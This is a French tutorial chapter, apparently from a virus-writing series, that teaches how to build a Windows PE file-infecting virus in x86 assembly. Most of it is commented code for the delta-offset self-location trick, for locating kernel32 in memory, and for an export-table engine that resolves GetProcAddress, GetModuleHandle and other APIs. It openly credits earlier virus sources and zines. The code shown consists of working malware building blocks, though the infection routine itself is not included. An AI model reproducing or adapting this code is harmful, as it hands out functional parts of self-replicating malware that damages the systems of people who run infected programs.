CHAPITRE 5 – Un peu de code pour commencer
1) le delta offset
Il est indispensable de connaître précisément la position du virus pour que l’infection soit un succès. Or, lorsqu’un fichier est infecté, on ne peut prédire exactement où se trouvera le début du virus. Pour remédier à ce problème, il existe plusieurs techniques mais leur but est identique: situer le virus dans le programme infecté; la plus simple de ces technique est celle du delta offset:
Call delta ; on appelle le label delta. L’adresse de retour est placée sur la pile
delta: ; le label en question
pop ebp ; on récupère l’adresse de retour dans le registre ebp
sub ebp, offset delta ; on soustrait à ebp l’adresse du label delta afin de localiser le début du virus
2) obtenir l’image_base de kernel32
Comme je le disais dans le chapitre 3, lorsque nous lançons un programme, c’est comme si il était appelé par kernel32.dll. Et de plus, un CALL implique une adresse de retour à placer sur la pile. Il faut donc stocker cette adresse, puis la décrémenter jusqu’à trouver la signature ZM (MZ à l’envers, architecture Intel oblige). Ensuite nous irons voir à l’adresse indiquée par l’offset 0000003Ch afin de vérifier s’il y a la signature EP (PE à l’envers).
GetK32_start:
mov esi, [esp] ; On place l’adresse de retour (pointée par esp) dans le registre esi.
and esi, 0FFFF0000h ; Permet d’aligner cette adresse sur 64k (cf. plus bas).
inc esi ; On incrémente esi juste pour annuler le dec esi qui arrive.
loop:
dec esi ; On décrémente esi à chaque passage dans la boucle, et ce tant qu’on n’a pas la signature voulue.
cmp word ptr [esi], “ZM” ; Vérifie qu’on est au début de la page grâce à la signature.
jnz loop ; On parcours la page à reculons tant qu’on a pas la signature.
mov edi, [esi+3Ch] ; On place dans edi l’adresse du PE HEADER (c’est une RVA)
add edi, esi ; On ajoute à cette RVA l’image_base de kernel32 afin d’obtenir l’adresse réelle (on normalise).
cmp dword ptr [edi], “EP” ; On check la présence de la signature, qui confirme qu’on est au
jz WeGotK32 ; début du PE HEADER. Si c’est OK alors on bouge.
jmp loop ; Sinon on recommence la boucle.
WeGotK32:
mov [ebp+AdrPE], edi ; stock l’adresse du PE HEADER de kernel32.dll
mov [ebp+AdrKernel], esi ; stock l’adresse de kernel32.dll
GetK32_end
Si certaines choses relatives au PE ne sont pas claires, allez jeter un œil à la deuxième partie sur le PE. Dans les dernières lignes, on peu voir [ebp+quelquechose]; ce quelquechose est une variable qu’on a nommé au préalable (on va dire que c’est une boite qu’on met de coté pour l’instant mais qu’on garde sous la main pour l’ouvrir quand on aura besoin de son contenu). Le ebp c’est notre delta offset: grâce à lui, le virus arrive à se localiser dans le fichier qu’il infecte.
J’ai essayé d’être clair en mettant des couleur... Si des zones d’ombres persistent, n’hésitez pas à me contacter et à chercher d’autres sources d’information. Même chose s’il y a des erreurs (surtout s’il y a des erreurs!).
Petit mot sur le AND:
Cette instruction effectue un ET logique bit par bit entre des opérandes (opérande source et opérande destination), et stocke le résultat dans l’opérande de destination. Son fonctionnement est le suivant:
1 AND 1 = 1
1 AND 0 = 0
0 AND 1 = 0
0 AND 0 = 0
On voit que si au moins un des bit est à zéro, alors le résultat donne zéro. Prenons la ligne de tout à l’heure:
and esi , 0FFFF0000h
ESI est l'opérande destination, et 0FFFF0000h est l'opérande source.
Cette instruction va donc mettre les 4 derniers chiffres (de ESI) à zéro, ce qui permet de récupérer un multiple de 64k dans l’opérande destination, ESI. On choisi un multiple de 64k parce que kernel32.dl est toujours aligné sur 64k.
3) Le moteur de recherche d’API
J’ai choisi de vous présenter une méthode simple, celle utilisant les noms des API. Sachez qu’il existe d’autres méthodes, comme les checksum ou les crc32. Après avoir lu une dizaine de codes sources, je vous propose un mix entre les virus euphoria de rikenar et Aztec v1.01 de Billy Belcebu. On considère que la liste des API utilisées est à la fin du code source, sous une forme du type :
Api_list
NGetProcAddress db "GetProcAddess",0
NGetModuleHandleA db "GetModuleHandleA",0
NExitProcess db "ExitProcess",0
db 0BBh
AdrGetProcAddress dd 0
AdrGetModuleHandle dd 0
AdrExitProcess dd 0
Ici, Le préfixe "Adr" (au choix, comme tout à l’heure) indique que le début de la liste des adresses commence. On les initialise à 0, mais elles contiendront les bonnes adresses plus tard.
La première étape est de se placer au début de l’Export table de kernel32.dll:
mov edi, [ebp+AdrPE] ; On met dans edi l’adresse du PE.
mov esi, [ebp+AdrKernel] ; On met dans esi l’adresse de kernel32.
mov edi, [edi+78] ; edi contient la RVA de l’export table.
add edi, esi ; On normalise avec l’image_base de kernel32, donc edi pointe au début de l’export table.
La deuxième étape consiste à trouver et sauvegarder les adresses (sous forme de VA) suivantes(voir chapitre 3) :
EXPORT ADDRESS TABLE RVA
EXPORT NAME POINTER TABLE RVA
EXPORT ORDINAL RVA
let's go coding:
La troisième étape consiste à calculer l’adresse de GetProcAddress:
pour cela, on parcours la name_pointer_table afin de trouver sa position, et une fois qu’on a trouvé le nom de l’API on utilise l’algorithme du chapitre 3 pour en calculer l’adresse:
xor ecx, ecx ; ecx est notre compteur. Le xor permet une mise à 0
mov edx, esi ; edx contient l’image_base de kernel32
mov esi, [ebp+AdrNamePointer] ; esi pointe sur le début de la name_pointer_table
##################################################################################################
cherche_GPA:
lodsd ; La RVA pointé par esi est mise dans eax.
add eax, edx ; C’est une RVA, il faut la normaliser, puis on l’envoie dans edi,
mov edi, eax ; qui va maintenant pointer sur l’endroit de l’export_table où sont stockés tous les noms des exports.
push esi ; on sauvegarde esi sur la pile
lea esi, [ebp+NGetProcAddress] ; esi pointe sur la chaîne GetProcAddress (Cf. la liste dont on parle au début)
##################################################################################################
compare:
cld ; met DF à 1 car l’instruction cmpsb agit suivant l’état de DF
cmpsb ; compare esi et edi, et les incrémente si DF est à 1
jne recommence ; si le nom pointé par esi est différent de celui qu’on veut, alors on saute pour tester le nom suivant
cmp byte ptr [edi], 0 ; sinon, on regarde si on est à la fin de la chaîne
je ok ; si on est à la fin de la chaîne, on saute pour calculer l’adresse de l’API.
jmp compare
##################################################################################################
recommence:
pop esi ; récupère esi, il pointe de nouveau sur la name_pointer_table, mais sur la RVA suivante
inc ecx ; on incrémente le compteur qui permettra ensuite de calculer l’adresse de l’API
jmp cherche_GPA ; et on recommence à chercher
##################################################################################################
ok:
shl ecx, 1 ; multiplie la position de GetProcAddress par 2
add ecx, [ebp+ AdrOrdinalTable] ; ajoute l’addresse de l’ordinal_table
xor eax, eax ; eax est mis à 0
mov ax, word ptr [ecx] ; l’ordinal pointé par ecx est mis dans ax
shl eax, 2 ; puis on le multiplie par 4
add eax, [ebp+ AdrAddressTable] ; on ajoute l’adresse de l’address_table
mov ebx, [eax] ; ebx = RVA de GetProcAddress
add ebx, edx ; on normalise
mov [ebp+AdrGetProcAddress], ebx ; et on sauvegarde
Ce dernier bloc est l'algorythme présenté dans le chapitre 3.
note: Vous avez peut être remarqué les 3 lignes en italique; je sais pas vous, mais moi j’ai bloqué un moment sur elles. Si vous avez compris tant mieux, mais moi je me demandais pourquoi on normalisais une nouvelle fois. En fait, j’ai compris grâce à un tuto intitulé PE infection tutorial for beginner trouvé dans le 29A volume 7:
Quand on ajoute l’adresse de l’address_table, eax va pointer sur la RVA de l’API. En normalisant, on se retrouve dans une zone où sont stockés tous les noms des API exportées (la zone dont je parle au début du code). Donc si on approfondit un peu, voilà ce que ça veut dire: dans l’address_table, chaque RVA est stockée sous forme d’un DWORD (4 octets ou 4 bytes). Si on normalise la RVA suivante, on tombera dans la même zone mais sur le nom de l’API suivante… C’est aussi simple que ça! Je n’ai pas l’impression d’être très clair, mais il est 1H30 du mat’ donc je pense que vous me pardonnerez. Valà, je vais me faire un petit super street fighter 2 sur super nes pis après dodo! Allez voir la partie «export name table» du document de LiTlLe VxW, ça vaudra mieux que mon blabla.
La quatrième étape est l’utilisation de GetProcAddress pour trouver les API dont on a besoin, et en priorité GetModuleHandle:
Pour fonctionner, une API a besoin qu’on lui fournisse un certain nombre de paramètres avant d’être appelée, et GetProcAddress ne déroge pas à la règle. Ces paramètres sont:
adresse de la DLL qui contient l’API dont on veut l’adresse
nom de l’API dont on veut l’adresse
Notez que les paramètres ne peuvent pas êtres fournis dans un autre ordre.
Coding!
lea edi, [ebp+AdrGetModuleHandle] ; edi pointe sur l’endroit où on va stocker l’adresse de GetProcAddress
lea esi, [ebp+NGetModuleHandle] ; et esi pointe au début de la liste d’API à chercher
##################################################################################################
cherche_API:
push esi ; on passe les paramètres à l’API en les pushant sur la pile.
push [ebp+AdrKernel] ; Vous remarquerez qu’ils sont pushés dans l’ordre inverse à cause du fonctionnement de la pile.
call [ebp+ AdrGetProcAddress]; on appelle GetProcAddress elle nous renvoie l’adresse de GetModuleHandle qu’on
mov [edi], eax ; s’empresse de stocker dans la zone pointée par edi (cette zone vaut 4 octets, soit un dword)
add edi, 4; on augmente edi de 4 pour pouvoir pointer sur la zone libre suivante, afin de sauvegarder la prochaine adresse.
##################################################################################################
API_suivante:
inc esi ; incrémente esi
cmp byte ptr [esi], 0 ; pour checker si on est à la fin du nom de l’API
jne API_suivante ; loop jusqu’à ce qu’on soit à la fin de la chaîne
inc esi ; on incrémente esi pour ensuite checker
cmp byte ptr [esi], 0BBh ; la présence du marqueur indiquant la fin de la liste
jne cherche_API ; si on n’est pas à la fin de la liste, on passe à l’API suivante
La cinquième (et dernière!) étape est l’utilisation de GetModuleHandle:
On utilise cette API seulement si le virus a besoin d’APIs qui ne sont pas exportées par kernel32. On va prendre par exemple l’API MessageBoxA exportée par user32.dll. Pour fonctionner, GetModuleHandle n’a besoin que d’un paramètre: le nom de la DLL dont ont veut un handle.
Ça c’est une liste dont le rôle est même que celle du début, sauf qu’en plus elle stock le nom et l’adresse d’une DLL:
NUser32 db "User32.dll"
AdrUser db 0
NMsgBox db "MessageBoxA"
AdrMsgBox db 0
lea eax, [ebp+NUser32] ; eax pointe sur le nom de la DLL user32
push eax ; on le place sur la pile car GetModuleHandle en a besoin
call [ebp+AdrGetModuleHandle] ; puis on appelle l’API proprement dite
mov [ebp+AdrUser32], eax ; l’API nous revoie l’adresse (le handle) de la dll dans eax, ; qu’on sauvegarde
lea eax, [ebp+NMsgBox] ; eax pointe sur le nom de l’API dot on vaut l’adresse
push eax ; on push ce premier paramètre
push [ebp+AdrUser32] ; puis on push le second paramètre nécessaire à GetProcAdress
call [ebp+GetProcAddress] ; on appelle cette API qui nous renvoie l’adresse de
mov [ebp+AdrMsgBox], eax ; MessageBoxA dans eax qu’on sauvegarde
Et voilà ! On a fini avec la recherche d’API. Si vous en avez marre du code réjouissez vous, car on va maintenant passer au mapping qui nécessite un peu de théorie si on veut l’aborder sereinement.